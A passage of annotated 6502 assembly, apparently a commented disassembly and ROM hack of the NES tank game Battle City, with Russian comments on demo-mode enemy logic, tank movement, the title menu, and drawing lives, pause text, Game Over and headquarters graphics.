+: ; CODE XREF: Demo_AI+1Ej Demo_AI+22j
LDA Tank_Status+4,X
BPL ++ ; Если <$80, враг умирает
CMP #$E0 ; 'р'
BCS ++ ; A>$E0 (если больше,
; враг зарождается)
LDA Tank_X+4,X
STA AI_X_Aim
LDA Tank_Y+4,X
STA AI_Y_Aim
JSR Load_AI_Status
JMP Load_Direction_DemoAI ; 4 направления
; ───────────────────────────────────────────────────────────────────────────
++: ; CODE XREF: Demo_AI+34j Demo_AI+38j
LDA Tank_Status+3,X
BPL EnemiesNotActing ; Если <$80, враг умирает
CMP #$E0 ; 'р'
BCS EnemiesNotActing ; A>$E0 (если больше,
; враг зарождается)
LDA Tank_X+3,X
STA AI_X_Aim
LDA Tank_Y+3,X
STA AI_Y_Aim
JSR Load_AI_Status
JMP Load_Direction_DemoAI ; 4 направления
; ───────────────────────────────────────────────────────────────────────────
EnemiesNotActing: ; CODE XREF: Demo_AI+4Aj Demo_AI+4Ej
LDA #0 ; Если танков нет, ничего не делаем
JMP SaveButton_DemoAI
; ───────────────────────────────────────────────────────────────────────────
Load_Direction_DemoAI: ; CODE XREF: Demo_AI+19j Demo_AI+2Fj
; Demo_AI+45j Demo_AI+5Bj
AND #3 ; 4 направления
TAY
LDA Tank_Direction,Y ; Направление танков в демо-уровне (в формате порта джойстика)
SaveButton_DemoAI: ; CODE XREF: Demo_AI+60j
LDX Counter
STA Joypad1_Buttons,X
STA Joypad1_Differ,X
LDA Tank_Y,X
CMP #$C8 ; '╚'
BCC Next_Demo_AI
LDA Joypad1_Differ,X
AND #$F0 ; 'Ё'
STA Joypad1_Differ,X
Next_Demo_AI: ; CODE XREF: Demo_AI+73j
DEC Counter
BPL -
RTS
; End of function Demo_AI
; ───────────────────────────────────────────────────────────────────────────
Tank_Direction: .BYTE $13,$43,$23,$83 ; DATA XREF: Demo_AI+66r
; Направление танков в демо-уровне (в формате порта джойстика)
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует TSA блок под танком
Draw_TSA_On_Tank: ; CODE XREF: ROM:Construct_Draw_TSAp
LDA TSA_BlockNumber
AND #$F
LDX Tank_X
LDY Tank_Y
JSR Draw_TSABlock
RTS
; End of function Draw_TSA_On_Tank
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Двигает танк в зависимости от нажатых кнопок
Move_Tank: ; CODE XREF: ROM:C0EDp
LDA Joypad1_Buttons
AND #$F0 ; 'Ё' ; Проверка на нажатые клавиши управления
BEQ ArrowNotPressed
INC byte_7B
LDA #0
STA BkgOccurence_Flag
JMP +
; ───────────────────────────────────────────────────────────────────────────
ArrowNotPressed: ; CODE XREF: Move_Tank+4j
LDA #0
STA byte_7B
+: ; CODE XREF: Move_Tank+Cj
LDA byte_7B
CMP #$14
BEQ loc_C6FB
LDA Joypad1_Differ
AND #$F0 ; 'Ё' ; Если кнопки направления не
; нажаты, танк не двигаем
BEQ End_Move_Tank
LDA Joypad1_Differ
JSR Button_To_DirectionIndex ; $FF = кнопки управления не нажаты
BMI End_Move_Tank ; Перестраховка, на случаай, если
; кнопки управления не нажаты
JMP loc_C704
; ───────────────────────────────────────────────────────────────────────────
loc_C6FB: ; CODE XREF: Move_Tank+17j
LDA #$F
STA byte_7B
LDA Joypad1_Buttons
JSR Button_To_DirectionIndex ; $FF = кнопки управления не нажаты
loc_C704: ; CODE XREF: Move_Tank+26j
TAY
LDA Coord_X_Increment,Y
ASL A
ASL A
ASL A
ASL A ; Перемещаем танк на 16 пикселей
; (каждый TSA блок 16х16)
CLC
ADC Tank_X
STA Tank_X
LDA Coord_Y_Increment,Y
ASL A
ASL A
ASL A
ASL A
CLC
ADC Tank_Y
STA Tank_Y
End_Move_Tank: ; CODE XREF: Move_Tank+1Dj
; Move_Tank+24j
RTS
; End of function Move_Tank
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Обнуляет массив счётчиков убитых врагов
Null_KilledEnms_Count: ; CODE XREF: SetUp_LevelVARs+43p
LDX #7
;4 типа врагов и 2 игрока = массив из 8 байт
LDA #0
-: ; CODE XREF: Null_KilledEnms_Count+7j
STA Enmy_KlledBy1P_Count,X
DEX
BPL -
RTS
; End of function Null_KilledEnms_Count
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; if ExitLevel then A=1
LevelEnd_Check: ; CODE XREF: ROM:C21Ep
; BonusLevel_ButtonCheck+18p
LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен
BEQ Init_GameOverStr ; Процедура проверяет статусы: штаба, жизней игроков,
; количества оставшихся врагов и если нужно выйти из
; уровня, на выходе в А выдаёт 1, если нужно продолжать
; процедуру уровня, то 0
LDA Enemy_Counter ; Если врагов нет, выходим
BEQ ExitLevel
LDA Player1_Lives
CLC
ADC Player2_Lives ; Если жизней у всех игроков нет, выходим
BNE PlayLevel
Init_GameOverStr: ; CODE XREF: LevelEnd_Check+2j
LDA #$70 ; 'p'
STA GameOverStr_X
LDA #$F0 ; 'Ё'
STA GameOverStr_Y
LDA #0
STA GameOverScroll_Type ; Определяет вид перемещения надписи(0..3)
LDA #$11
STA GameOverStr_Timer
LDA #0 ; обнуляем счетчик, чтобы корректно
; обработать таймер надписи Game Over
STA Frame_Counter
ExitLevel: ; CODE XREF: LevelEnd_Check+6j
LDA #1
RTS
; ───────────────────────────────────────────────────────────────────────────
PlayLevel: ; CODE XREF: LevelEnd_Check+Dj
LDA #0
RTS
; End of function LevelEnd_Check
; ───────────────────────────────────────────────────────────────────────────
LDA byte_109 ; Не использовался
JSR Num_To_NumString ; Переводит число из А в строку NumString
LDA #$30 ; '0'
STA Char_Index_Base
LDA #0
STA HighPtr_Byte
LDA #$39 ; '9'
STA LowPtr_Byte
LDX #9
LDY #2
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDX byte_109
LDA 0,X
JSR Num_To_NumString ; Переводит число из А в строку NumString
LDA #0
STA HighPtr_Byte
LDA #$39 ; '9'
STA LowPtr_Byte
LDX #$D
LDY #2
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #0
STA Char_Index_Base
LDA Joypad1_Differ
AND #4
BEQ loc_C792
INC byte_109
loc_C792: ; CODE XREF: ROM:C78Dj
LDA Joypad1_Differ
AND #2
BEQ loc_C79B
DEC byte_109
loc_C79B: ; CODE XREF: ROM:C796j
LDA Joypad1_Differ
AND #1
BEQ locret_C7AA
LDA byte_109
CLC
ADC #$10
STA byte_109
locret_C7AA: ; CODE XREF: ROM:C79Fj
RTS
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Scroll_TitleScrn: ; CODE XREF: BonusLevel_ButtonCheck-37Ep
LDA #0
STA Scroll_Byte
STA PPU_REG1_Stts
-: ; CODE XREF: Scroll_TitleScrn+15j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
INC Scroll_Byte
LDA Joypad1_Differ
AND #1100b ; Проверка на Select или Start
BNE + ; То же самое, что RTS (?)
LDA Scroll_Byte
CMP #$F0 ; 'Ё'
BNE -
RTS
; ───────────────────────────────────────────────────────────────────────────
+: ; CODE XREF: Scroll_TitleScrn+Fj
PLA ; То же самое, что RTS (?)
PLA
JMP Title_Loaded
; End of function Scroll_TitleScrn
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует IP/IIP и число жизней в правом углу
Draw_Player_Lives: ; CODE XREF: Battle_Loop+30p
LDA #1
STA Counter ; По умолчанию отрисовываем жизни обоих игроков
STA byte_6B
LDA #$6E ; 'n'
STA Char_Index_Base ; c $6E в VRAM начинаются цифры
LDA #>PlayerLives_Icon ; Значок жизней игрока
STA HighPtr_Byte
LDA #<PlayerLives_Icon ; Значок жизней игрока
STA LowPtr_Byte
LDX #$1D
LDY #$12 ; Координаты надписи
JSR String_to_Screen_Buffer
LDA Level_Mode
CMP #2
BEQ Draw_2P_Lives ; Рисуем значок жизней второго игрока
LDA CursorPos ; Если выбран один игрок, то
; не рисуем жизни 2 игрока.
BNE Draw_2P_Lives ; Рисуем значок жизней второго игрока
LDA #0
STA Counter ; Жизни второго игрока уже
; рисовать не будем
JMP Draw_1P_Lives
; ───────────────────────────────────────────────────────────────────────────
Draw_2P_Lives: ; CODE XREF: Draw_Player_Lives+1Dj
; Draw_Player_Lives+21j
LDA #>PlayerLives_Icon ; Рисуем значок жизней второго игрока
STA HighPtr_Byte
LDA #<PlayerLives_Icon ; Значок жизней игрока
STA LowPtr_Byte
LDX #$1D
LDY #$15
JSR String_to_Screen_Buffer
Draw_1P_Lives: ; CODE XREF: Draw_Player_Lives+27j
; Draw_Player_Lives+5Fj
LDX Counter
LDA Player1_Lives,X
SEC
SBC #1
BPL Draw_LivesDigit
LDA #0 ; Если жизни отрицательные, рисуем ноль
Draw_LivesDigit: ; CODE XREF: Draw_Player_Lives+40j
JSR ByteTo_Num_String
LDY #$36 ; '6'
LDX #$19
JSR PtrToNonzeroStrElem ; Будем читать из числовой строки
LDA Counter
STA Temp
ASL A
CLC
ADC Temp
CLC
ADC #$12 ; Y координата жизней на экране
TAY
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
DEC Counter
BPL Draw_1P_Lives
LDA #0
STA Char_Index_Base
STA byte_6B
RTS
; End of function Draw_Player_Lives
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_IP: ; CODE XREF: SetUp_LevelVARs+4Cp
LDA #>I_p ; надпись IP прямо над жизнями игроков
STA HighPtr_Byte
LDA #<I_p ; надпись IP прямо над жизнями игроков
STA LowPtr_Byte
LDX #$1D
LDY #$11
JSR String_to_Screen_Buffer
LDA Level_Mode
CMP #2
BEQ Draw_IIP ; Если бонус уровень, то игроков всегда два
LDA CursorPos
BEQ +
Draw_IIP: ; CODE XREF: Draw_IP+13j
LDA #>II_p ; надпись IIP прямо над жизнями игроков
STA HighPtr_Byte
LDA #<II_p ; надпись IIP прямо над жизнями игроков
STA LowPtr_Byte
LDX #$1D
LDY #$14
JSR String_to_Screen_Buffer
+: ; CODE XREF: Draw_IP+17j
RTS
; End of function Draw_IP
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_LevelFlag: ; CODE XREF: SetUp_LevelVARs+4Fp
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>LevelFlag_Upper_Icons ; Флажок над номером уровня в правой части экрана
STA HighPtr_Byte
LDA #<LevelFlag_Upper_Icons ; Флажок над номером уровня в правой части экрана
STA LowPtr_Byte
LDX #$1D
LDY #$17
JSR String_to_Screen_Buffer
LDA #>LevelFlag_Lower_Icons
STA HighPtr_Byte
LDA #<LevelFlag_Lower_Icons
STA LowPtr_Byte
LDX #$1D
LDY #$18
JSR String_to_Screen_Buffer
LDA #$6E ; 'n'
STA Char_Index_Base ; C $6E начинаются цифры жизней в Pattern Table
LDA Level_Number
JSR ByteTo_Num_String
LDY #$36 ; '6'
LDX #$19
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$19
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #0
STA Char_Index_Base
RTS
; End of function Draw_LevelFlag
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
PointAt_RightScrnColumn: ; CODE XREF: ReinforceToRAMp
; Draw_EmptyTilep
PHA
AND #1
CLC
ADC #29 ; 29 тайлов от начала строки экрана до начала правого информационного столбца
TAX
PLA
LSR A ; делим на 2 (в строке информационного столбца всегда два тайла)
CLC
ADC #3 ; информационный столбец отстоит от верхней границы экрана на 3 тайла
TAY
;X и Y теперь координаты в тайлах куда будет
;записана очередная иконка информационного столбца
RTS
; End of function PointAt_RightScrnColumn
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
ReinforceToRAM: ; CODE XREF: Draw_Reinforcemets+6p
JSR PointAt_RightScrnColumn
LDA #>Reinforcement_Icon ; Составляют лист оставшихся врагов
STA HighPtr_Byte
LDA #<Reinforcement_Icon ; Составляют лист оставшихся врагов
STA LowPtr_Byte
JSR String_to_Screen_Buffer
RTS
; End of function ReinforceToRAM
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует пустой тайл в колонке запасов врагов, когда они выходят
Draw_EmptyTile: ; CODE XREF: Respawn_Handle+20p
JSR PointAt_RightScrnColumn
LDA #>Empty_Tile ; Подменяет значок врага, когда тот рождается
STA HighPtr_Byte
LDA #<Empty_Tile ; Подменяет значок врага, когда тот рождается
STA LowPtr_Byte
JSR String_to_Screen_Buffer
RTS
; End of function Draw_EmptyTile
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_Reinforcemets:
LDA Boss_Mode
BNE End_Draw_Reinforcemets ; CODE XREF: SetUp_LevelVARs+46p
SEC
LDA Enemy_Reinforce_Count ;! считаем врагов - они могут измениться, если враг взял бонус жизнь
SBC #1
;LDA #18
STA Counter ; В листе запасов врагов будет 20 иконок врагов,
; здесь цикл с постусловием, поэтому 18
-: ; CODE XREF: Draw_Reinforcemets+Dj
LDA Counter
JSR ReinforceToRAM
DEC Counter
;DEC Counter ; По две иконки в линии, поэтому уменьшаем 2 раза
BPL -
End_Draw_Reinforcemets:
RTS
; End of function Draw_Reinforcemets
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Не дает танку выйти за границы серой рамки
Check_BorderReach: ; CODE XREF: ROM:C0F0p
LDA Tank_X
CMP #$D8 ; '╪'
BCC +
LDA #$D8 ; '╪'
STA Tank_X ; Если правее рамки, присваиваем танку
; крайнюю правую координату
+: ; CODE XREF: Check_BorderReach+4j
LDA Tank_X
CMP #$18
BCS ++
LDA #$18
STA Tank_X ; Если левее рамки, присваиваем танку
; крайнюю левую координату
++: ; CODE XREF: Check_BorderReach+Ej
LDA Tank_Y
CMP #$D8 ; '╪'
BCC +++
LDA #$D8 ; '╪'
STA Tank_Y ; Если выше рамки, присваиваем танку
; крайнюю верхнюю координату
+++: ; CODE XREF: Check_BorderReach+18j
LDA Tank_Y
CMP #$18
BCS End_Check_BorderReach
LDA #$18
STA Tank_Y ; Если ниже рамки, присваиваем танку
; крайнюю нижнюю координату
End_Check_BorderReach: ; CODE XREF: Check_BorderReach+22j
RTS
; End of function Check_BorderReach
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует мигающую надпись, в случае если выставлена пауза
Draw_Pause: ; CODE XREF: ROM:Skip_Pause_Switchp
LDA Pause_Flag
BEQ End_Draw_Pause ; Если пауза не выставлена, выходим
LDA Frame_Counter
AND #$10 ; Создаёт мигание надписи раз в 16 фреймов
BEQ End_Draw_Pause
;Топорный способ вывода надписи "PAUSE" на экран
LDA #3
STA TSA_Pal ; Пауза использует спрайтовую палитру 3
LDA #0
STA Spr_Attrib ; Надпись поверх форна
LDX #$64 ; 'd' ; Координата Х буквы
LDY #$80 ; 'А' ; Координата Y буквы
LDA #$17 ; P
STA Spr_TileIndex
JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16
LDX #$6C ; 'l'
LDY #$80 ; 'А'
LDA #$19 ; A
STA Spr_TileIndex
JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16
LDX #$74 ; 't'
LDY #$80 ; 'А'
LDA #$1B ; U
STA Spr_TileIndex
JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16
LDX #$7C ; '|'
LDY #$80 ; 'А'
LDA #$1D ; S
STA Spr_TileIndex
JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16
LDX #$84 ; 'Д'
LDY #$80 ; 'А'
LDA #$1F ; E
STA Spr_TileIndex
JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16
LDA #$20 ; ' '
STA Spr_Attrib
End_Draw_Pause: ; CODE XREF: Draw_Pause+2j
; Draw_Pause+8j
RTS
; End of function Draw_Pause
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует надпись Game Over, когда она остановилась
Draw_Fixed_GameOver: ; CODE XREF: GameOver_Str_Move_Handle:Stopped_Motionp
LDA #3
STA TSA_Pal
LDA #0
STA Spr_Attrib
LDX GameOverStr_X
LDY GameOverStr_Y
LDA #$79 ; 'y' ; Начало первого спрайта 16х16 надписи Game Over
STA Spr_TileIndex
JSR Draw_WholeSpr ; Рисуем левую половинку надписи
LDA GameOverStr_X
CLC
ADC #$10 ; Смещаемся на два тайла вправо (16 пикселей)
TAX
LDY GameOverStr_Y
LDA #$7D ; '}' ; Начало графики второй половинки надписи в Pattern Table
STA Spr_TileIndex
JSR Draw_WholeSpr ; Рисуем вторую половину
LDA #$20 ; ' '
STA Spr_Attrib
RTS
; End of function Draw_Fixed_GameOver
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Выводит надпись Game Over если нужно
GameOver_Str_Move_Handle: ; CODE XREF: Battle_Loop+2Ap
LDA GameOverStr_Timer
BEQ End_GameOver_Str_Move ; Если надписи нет, выходим
LDA Level_Mode
CMP #2 ; На бонус уровне надпись Game Over не отображается
BEQ End_GameOver_Str_Move
LDA Frame_Counter
AND #$F ; Счётчик уменьшается
; каждые 16 фреймов
BNE Check_Motion
DEC GameOverStr_Timer
BNE Check_Motion
Hide_String: ; Если время кончилось,
LDA #$F0 ; 'Ё' ; прячем надпись
STA GameOverStr_Y
Check_Motion: ; CODE XREF: GameOver_Str_Move_Handle+Fj
; GameOver_Str_Move_Handle+14j
LDA GameOverStr_Timer
CMP #10 ; за 10 циклов до исчезновения
; надпись останавливается
BCC Stopped_Motion
LDA GameOverScroll_Type ; Определяет вид перемещения надписи(0..3)
TAY
LDA Coord_X_Increment,Y
CLC
ADC GameOverStr_X
STA GameOverStr_X
LDA Coord_Y_Increment,Y
CLC
ADC GameOverStr_Y
STA GameOverStr_Y
Stopped_Motion: ; CODE XREF: GameOver_Str_Move_Handle+20j
JSR Draw_Fixed_GameOver ; Рисует надпись Game Over, когда она остановилась
End_GameOver_Str_Move: ; CODE XREF: GameOver_Str_Move_Handle+3j
; GameOver_Str_Move_Handle+9j
RTS
; End of function GameOver_Str_Move_Handle
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Make_GrayFrame: ; CODE XREF: ROM:C0B5p ROM:C1D4p
; Load_DemoLevel+19p
; Show_Secret_Msg+C1p
LDA #2
STA Block_X
STA Block_Y ; Рамочка шириной 2 тайла по вертикали и горизонтали
; (потом к ней прибавляется правый информационный столбец)
; На самом деле, сначала весь экран заполняется серым, потом
; в нем отрисовывается черный квадрат игрового поля
LDA #$1A
STA Counter ; $19 - ширина и высота игрового поля (в процедуре от $1A отнимается единица)
; Counter - будет играть роль высоты
; Counter2 - ширины
STA Counter2
JSR Draw_GrayFrame
RTS
; End of function Make_GrayFrame
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Title_Screen_Loop: ; CODE XREF: BonusLevel_ButtonCheck:Title_Loadedp ; выходы по JMP на разные команды
LDA #3
STA BkgPal_Number ; По RTS - загрузка демо-ролика
LDA #$24
STA PPU_Addr_Ptr;Пишем в нижнюю тайловую карту
JSR Null_Status
LDA #$48 ; 'H' ; X на титульнике изменяться не будет
STA Tank_X
JSR CurPos_To_PixelCoord
LDA #$83
STA Tank_Status ; Танк направлен дулом вправо
LDA #0
Sta Random_Level_Flag
STA Seconds_Counter ; Обнуление таймера
STA Tank_Type
STA Track_Pos
STA Player_Blink_Timer ; Таймер мигания friendly fire
STA Player_Blink_Timer+1 ; Таймер мигания friendly fire
STA Scroll_Byte
LDA #2
STA PPU_REG1_Stts
Begin_Title_Screen_Loop: ; CODE XREF: Title_Screen_Loop+81j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA Frame_Counter
AND #3
BNE + ; Каждые 3 фрейма смещаем гусеницу
LDA Track_Pos
EOR #4
STA Track_Pos
+: ; CODE XREF: Title_Screen_Loop+2Dj
JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков
;Проверяем на вправо-влево:
Lda CursorPos
Cmp #3
BNE Check_Select
LDA Joypad1_Differ
AND #$40 ; проверка на left
BEQ +++
LDA #0
STA Seconds_Counter
Dec Map_Mode_Pos
BPL Draw_Map_Mode
LDA #2
STA Map_Mode_Pos
JMP Draw_Map_Mode
+++:
LDA Joypad1_Differ
AND #$80 ; проверка на right
BEQ Check_Select
LDA #0
STA Seconds_Counter
INC Map_Mode_Pos
LDA Map_Mode_Pos
CMP #3
BCC Draw_Map_Mode
Lda #0
STA Map_Mode_Pos
Draw_Map_Mode:
LDA Map_Mode_Pos
ASL A ; х2 (указатели двухбайтовые)
TAY
LDA MAP_MODE_STRINGS,Y
STA LowPtr_Byte
LDA MAP_MODE_STRINGS+1,Y
STA HighPtr_Byte
LDX #$11
LDY #$17
JSR Save_Str_To_ScrBuffer
Check_Select:
LDA Joypad1_Differ
AND #4 ; проверка на select
BEQ Check_Max_CurPos
INC CursorPos
LDA #0
STA Seconds_Counter
Check_Max_CurPos: ; CODE XREF: Title_Screen_Loop+5Bj
; Title_Screen_Loop+61j
LDA CursorPos
CMP #4;! добавили еще один пункт меню
BCC ++
LDA #0
STA CursorPos
++: ; CODE XREF: Title_Screen_Loop+69j
JSR CurPos_To_PixelCoord
LDA Seconds_Counter
CMP #10 ; Проверка на время начала Демо-ролика(10 секунд)
BNE Start_Check
LDA Construction_Flag ; Если были в Construction, не показываем демо-уровень
BNE Start_Check
LDA #$1C
STA PPU_Addr_Ptr
RTS ; Загружаем Демо-ролик
; ───────────────────────────────────────────────────────────────────────────
Start_Check: ; CODE XREF: Title_Screen_Loop+76j
; Title_Screen_Loop+7Aj
LDA Joypad1_Differ
AND #8 ; проверка на старт
Bne ++++
JMP Begin_Title_Screen_Loop
++++:
LDA Construction_Flag ; Выставляется, если зашли в Construction
CMP #7
BNE Start_Pressed
Start_Pressed: ; CODE XREF: Title_Screen_Loop+87j
; Title_Screen_Loop+8Dj
LDA #0
STA BkgPal_Number
PLA
PLA ; чтобы не переполнить стек при рекурсии
LDA CursorPos ; В зависимости от позиции курсора выполняем команды
ASL A ; х2 (указатели двухбайтовые)
TAY
LDA Title_JumpTable,Y
STA LowPtr_Byte
LDA Title_JumpTable+1,Y
STA HighPtr_Byte
LDA #$1C
STA PPU_Addr_Ptr
JMP (LowPtr_Byte)
; End of function Title_Screen_Loop
; ───────────────────────────────────────────────────────────────────────────
;Загружается командами сверху
Title_JumpTable:.WORD Selected_1player ; DATA XREF: Title_Screen_Loop+9Cr
; Title_Screen_Loop+A1r
; Если игрок 1, то на экране может быть 4 врага
.WORD Selected_2players ; Если игроков двое, то на экране может быть 6 врагов
.WORD Selected_Construction
.WORD Title_Loaded ; При нажатии на старт на выборе режима, прыгаем к 1player
; ───────────────────────────────────────────────────────────────────────────
Selected_1player: ; DATA XREF: ROM:Title_JumpTableo
LDA #5 ; Если игрок 1, то на экране может быть 4 врага
JMP accept
; ───────────────────────────────────────────────────────────────────────────
Selected_2players: ; DATA XREF: ROM:CA6Bo
LDA #7 ; Если игроков двое, то на экране может быть 6 врагов
accept: ; CODE XREF: ROM:CA71j
STA TanksOnScreen ; Максимальное количество всех танков на экране
JSR Null_both_HiScore
JMP Start_StageSelScrn
; ───────────────────────────────────────────────────────────────────────────
Selected_Construction: ; DATA XREF: ROM:CA6Do
LDA #7
STA TanksOnScreen ; ? к чему бы это - на экране только игрок...
JMP Construction
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
CurPos_To_PixelCoord: ; CODE XREF: Title_Screen_Loop+Bp
; Title_Screen_Loop:Plusp
LDA CursorPos
ASL A
ASL A
ASL A
ASL A ; Умножаем на 16 (между пунктами меню 2 тайла по 8 пикселей)
CLC
ADC #$8B ; 'Л' ; От верхней границы экрана до первого пункта меню по вертикали $88 пикселей
STA Tank_Y
RTS
; End of function CurPos_To_PixelCoord
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_StageNumString: ; CODE XREF: ROM:StageSelect_Loopp
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDX #$C ; Координаты в тайлах размещения строки на экране
LDY #$E
JSR CoordTo_PPUaddress
LDX ScrBuffer_Pos
CLC
ADC #$1C
STA Screen_Buffer,X ; Старший байт адреса в PPU
INX
TYA
STA Screen_Buffer,X ; Младший байт
INX
LDY #0
;Если нужно, выводим надпись Boss Stage
LDA Boss_Mode
BEQ Skip_Draw_BossStage
-:
LDA aBoss,y
STA Screen_Buffer,X
INY
INX
CMP #$FF
BNE -
STX ScrBuffer_Pos
LDA #$6E ; 'n' ; С $6E в Pattern Table начинается графика цифр
STA Char_Index_Base
LDA Level_Number;
LSR
LSR
LSR
JSR ByteTo_Num_String
LDY #Num_String+1
LDX #$12 ; Координата Х выводимой цифры
JMP End_Stage_Draw
Skip_Draw_BossStage:
--:
LDA aStageScr,y
STA Screen_Buffer,X
INY
INX
CMP #$FF
BNE --
STX ScrBuffer_Pos
LDA #$6E ; 'n' ; С $6E в Pattern Table начинается графика цифр
STA Char_Index_Base
LDA Level_Number;! номер уровня
JSR ByteTo_Num_String
LDY #Num_String+1
LDX #$E ; Координата Х выводимой цифры
End_Stage_Draw:
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$E ; Координата Y выводимой цифры
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #0
STA Char_Index_Base
RTS
; End of function Draw_StageNumString
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует штаб с кирпичами
DraW_Normal_HQ: ; CODE XREF: ROM:C0E7p ROM:C1DCp
; Load_DemoLevel+5Dp
; HQ_Handle:Normal_HQ_Handlep
LDA #>Normal_HQ_TSA
STA HighPtr_Byte
LDA #<Normal_HQ_TSA
STA LowPtr_Byte
LDX #$C
LDY #$18
JSR String_to_Screen_Buffer
LDA #>NormalLine2
STA HighPtr_Byte
LDA #<NormalLine2
STA LowPtr_Byte
LDX #$C
LDY #$19
JSR String_to_Screen_Buffer
LDA #>NormalLine3
STA HighPtr_Byte
LDA #<NormalLine3
STA LowPtr_Byte
LDX #$C
LDY #$1A
JSR String_to_Screen_Buffer
LDA #>Normalline4
STA HighPtr_Byte
LDA #<Normalline4
STA LowPtr_Byte
LDX #$C
LDY #$1B
JSR String_to_Screen_Buffer ; Выводим штаб через Строковый Буффер
LDX ScrBuffer_Pos
LDA #$23 ; '#'
STA Screen_Buffer,X
INX
LDA #$F3 ; 'є'
STA Screen_Buffer,X ; Запись в память PPU $23F3 (атрибуты штаба)
INX
LDA #0
STA NT_Buffer+$3F3
STA Screen_Buffer,X
INX
LDA NT_Buffer+$3F4
AND #$CC ; '╠'
STA NT_Buffer+$3F4
STA Screen_Buffer,X ; Выставляем атрибуты штаба
INX
LDA #$FF
STA Screen_Buffer,X ; Конец строки
INX
STX ScrBuffer_Pos
RTS
; End of function DraW_Normal_HQ
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_Naked_HQ: ; CODE XREF: ROM:Skip_Lvl_Loadp
LDA #>Naked_HQ_TSA_FirstLine
STA HighPtr_Byte
LDA #<Naked_HQ_TSA_FirstLine
STA LowPtr_Byte
LDX #$E
LDY #$1A ; Координаты верхней линии голого штаба
JSR String_to_Screen_Buffer
LDA #>Naked_HQ_TSA_SecndLine
STA HighPtr_Byte
LDA #<Naked_HQ_TSA_SecndLine
STA LowPtr_Byte
LDX #$E
LDY #$1B ; Координаты нижней линии голого штаба
JSR String_to_Screen_Buffer
LDX ScrBuffer_Pos
LDA #$23 ; '#'
STA Screen_Buffer,X
INX
LDA #$F3 ; 'є'
STA Screen_Buffer,X ; Запись следующего стринга будет в адрес PPU $23F3
; (атрибут верхней карты тайлов)
INX
LDA NT_Buffer+$3F3
AND #111111b
STA NT_Buffer+$3F3 ; Штаб использует нулевую палитру, поэтому старшие
; три бита обнуляют, хотя достаточно обнулить и два
; (адрес байта атрибута вписан в операнды жестко,
; но для отладки сойдёт)
STA Screen_Buffer,X
INX
LDA #$FF
STA Screen_Buffer,X ; Конец строки
INX
STX ScrBuffer_Pos
RTS
; End of function Draw_Naked_HQ
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует штаб с броней
Draw_ArmourHQ: ; CODE XREF: HQ_Handle+20p ROM:E9FFp
LDA #>Armour_HQ_TSA_Line1
STA HighPtr_Byte
LDA #<Armour_HQ_TSA_Line1
STA LowPtr_Byte
LDX #$C
LDY #$18
JSR String_to_Screen_Buffer
LDA #>Armour_HQ_TSA_Line2
STA HighPtr_Byte
LDA #<Armour_HQ_TSA_Line2
STA LowPtr_Byte
LDX #$C
LDY #$19
JSR String_to_Screen_Buffer
LDA #>Armour_HQ_TSA_Line3
STA HighPtr_Byte
LDA #<Armour_HQ_TSA_Line3
STA LowPtr_Byte
LDX #$C
LDY #$1A
JSR String_to_Screen_Buffer
LDA #>Armour_HQ_TSA_Line4
STA HighPtr_Byte
LDA #<Armour_HQ_TSA_Line4
STA LowPtr_Byte
LDX #$C
LDY #$1B
JSR String_to_Screen_Buffer
LDX ScrBuffer_Pos ; Выводим бронированый штаб через строковый буффер
LDA #$23 ; '#'
STA Screen_Buffer,X
INX
LDA #$F3 ; 'є'
STA Screen_Buffer,X ; Будем писать в область атрибутов ($23F3)
INX
LDA #$3F ; '?'
STA NT_Buffer+$3F3
STA Screen_Buffer,X
INX
LDA NT_Buffer+$3F4
AND #$CC ; '╠'
ORA #$33 ; '3'
STA NT_Buffer+$3F4
STA Screen_Buffer,X
INX
LDA #$FF
STA Screen_Buffer,X ; Конец строки атрибутов
INX
STX ScrBuffer_Pos
RTS
; End of function Draw_ArmourHQ
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует разрушенный штаб
Draw_Destroyed_HQ: ; CODE XREF: BulletToObject_Impact_Handle+20p
